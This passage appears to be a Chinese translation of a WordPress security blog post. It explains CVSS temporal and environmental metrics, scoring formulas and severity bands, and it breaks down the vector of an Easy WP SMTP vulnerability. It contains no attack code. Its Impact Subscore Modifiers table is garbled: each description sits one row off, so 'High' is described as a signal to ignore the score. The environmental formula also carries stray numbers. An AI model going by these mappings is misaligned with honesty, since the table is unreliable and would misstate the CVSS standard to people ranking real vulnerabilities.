高 (H) | 存在功能性自治代码,或者不需要利用,并且可以广泛获得详细信息。 |
功能性 (F) | 功能漏洞利用代码可用。 该代码适用于存在漏洞的大多数情况。 |
概念验证 (P) | 概念验证漏洞利用代码可用,或者攻击演示对大多数系统不实用。 |
未经证实 (U) | 没有可用的漏洞利用代码,或者漏洞利用完全是理论上的。 |
2.2. 修复级别 (RL)
漏洞的修复级别是确定优先级的重要因素。 变通方法或修补程序可能会提供临时修复,直到发布正式补丁或升级。
修复越不正式和永久,漏洞得分越高。
修复级别值 | 描述 |
---|---|
未定义 (X) | 未定义的修复值意味着没有足够的信息来选择其他修复值之一。 Not Defined 的值对整体 Temporal Score 没有影响,对得分的影响与 Unavailable 相同。 |
不可用 (U) | 没有可用的解决方案。 |
解决方法 (W) | 可以使用非官方的非供应商解决方案。 例如,用户或其他一些第三方创建了补丁或解决方法来缓解漏洞。 |
临时修复 (T) | 可用的官方但临时修复。 例如,软件开发人员发布了临时修补程序或提供了一种解决方法来缓解漏洞。 |
官方修复 (O) | 软件开发商已经针对该漏洞发布了官方补丁。 |
2.3. 报告置信度 (RC)
报告置信度指标衡量漏洞存在的置信度以及技术细节的可信度。
供应商或其他信誉良好的来源验证的漏洞越多,得分就越高。
报告置信度值 | 描述 |
---|---|
未定义 (X) | 未定义的报告置信度值意味着没有足够的信息来分配其他置信度值之一。 未定义的值对整体报告置信度得分没有影响,对得分的影响与不可用相同。 |
确认 (C) | 一份详细的报告包含如何利用漏洞的概念,或者软件开发人员已确认该漏洞的存在。 |
合理 (R) | 存在包含重要细节的报告,但研究人员对根本原因并不完全有信心,或者无法完全确认可能导致漏洞利用的每个交互。 但是,该错误是可重现的,并且至少存在一个概念证明。 |
未知 (U) | 有影响的报告表明存在漏洞,但漏洞的原因尚不清楚。 |
时间 CVSS 分数计算
时间分数定义为,
Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)
3. 环境评分指标
环境指标允许分析师根据受影响 IT 资产的重要性自定义 CVSS 评分。
环境可利用性和影响度量是基本度量的修改等效项,并根据组织基础架构的组件放置分配值。 请参阅上述基本指标部分以查看可利用性和影响指标的值和说明。
环境指标包含一个额外的组,Impact Subscore Modifiers。
3.1. 影响子分数修正指标
Impact Subscore Modifiers 指标评估机密性 (CR)、完整性 (IR) 和可用性 (AR) 的特定安全要求,允许根据用户环境对环境评分进行微调。
影响分值 | 描述 |
---|---|
未定义 (CR:X) | 丢失(机密性/完整性/可用性)可能对组织的影响有限。 |
低 (CR:L) | 丢失(机密性/完整性/可用性)可能会对组织产生严重影响。 |
中 (CR:M) | 丢失(机密性/完整性/可用性)可能对组织产生灾难性的影响。 |
高 (CR:H) | 这是忽略此分数的信号。 |
环境 CVSS 分数计算
环境得分定义为,
If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.
总体 CVSS 分数和严重性
总体常见漏洞评分系统或 CVSS 分数是基础、时间和环境分数的表示。
总体 CVSS 分数可用于让您了解漏洞的严重程度。
CVSS 分数 | 严重性 |
---|---|
0.0 | 没有任何 |
0.1 – 3.9 | 低的 |
4.0 – 6.9 | 中等的 |
7.0 – 8.9 | 高的 |
9.0 – 10.0 | 危急 |
真实世界 CVSS 严重性评级示例
在 2020 年 12 月的漏洞综述中,我们报告了 Easy WP SMTP 插件中的一个漏洞。 零日漏洞(我们将在下一节介绍零日漏洞)漏洞允许攻击者控制管理员帐户并被广泛利用。
查看国家漏洞数据库条目,我们可以找到 WP SMTP 漏洞的严重性等级。

让我们从上面的 WP SMTP NVDB 屏幕截图中分解几件事。
基础评分:基础评分为 7.5,这表明该漏洞的严重性等级很高。
向量:向量告诉我们分数是基于 CVSS 3.1 漏洞方程和用于计算分数的指标。
这是向量的度量部分。
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
现在让我们使用本文前面的基本度量值和描述来了解向量的八个度量值。
- AV:N – 这意味着漏洞的攻击向量 (AV) 是网络 (N)。 换句话说,攻击者只需要访问网络即可利用该漏洞。
- AC:L – 漏洞的攻击复杂性 (AC) 低 (L)。 换句话说,任何脚本小子都可以利用该漏洞。
- PR:N – 利用该漏洞所需的特权 (PR) 为无 (N)。 因此,该漏洞不需要经过身份验证的用户即可利用。 (我们将在本文后面介绍经过身份验证和未经身份验证的漏洞之间的区别。)
- UI:N – 利用此漏洞所需的用户交互 (UI) 为无 (N)。 因此,攻击者有办法自行利用该漏洞。
- S:U – 这意味着漏洞的范围 (S) 是不变的 (U)。 在此漏洞的情况下,易受攻击的组件和受影响的组件是相同的。
- C:H – 漏洞的机密性影响 (C) 为高 (H)。 当此漏洞被利用时,会导致机密性完全丧失。
- I:N – 此漏洞的完整性影响 (I) 为无 (N)。 当漏洞被利用时,漏洞信息的完整性或可信度不会丢失。
- A:N – 这意味着可用性影响 (A) 为无 (N)。 当漏洞被利用时,不会对您网站的可用性产生影响。
CVSS 分数可以帮助我们确定任何给定漏洞的严重性和范围。 在接下来的几节中,我们将介绍一些经常包含在漏洞披露中的重要漏洞术语。
WordPress 漏洞解释网络研讨会
查看我们涵盖同一主题的网络研讨会。
总结:WordPress 漏洞解释
虽然 WordPress 漏洞很可怕,但好消息是大多数 WordPress 漏洞在坏人有机会利用它们之前就被发现和修补。
您可以通过保持 WordPress 核心和您的插件和主题更新来帮助保护您的网站免受漏洞影响,这是确保您收到最新安全补丁的最佳方式。
每周,Michael 都会汇总 WordPress 漏洞报告,以帮助确保您的网站安全。 作为 iThemes 的产品经理,他帮助我们继续改进 iThemes 产品阵容。 他是一个巨大的书呆子,喜欢学习所有新旧技术。 你可以找到迈克尔和他的妻子和女儿一起出去玩,在不工作的时候阅读或听音乐。
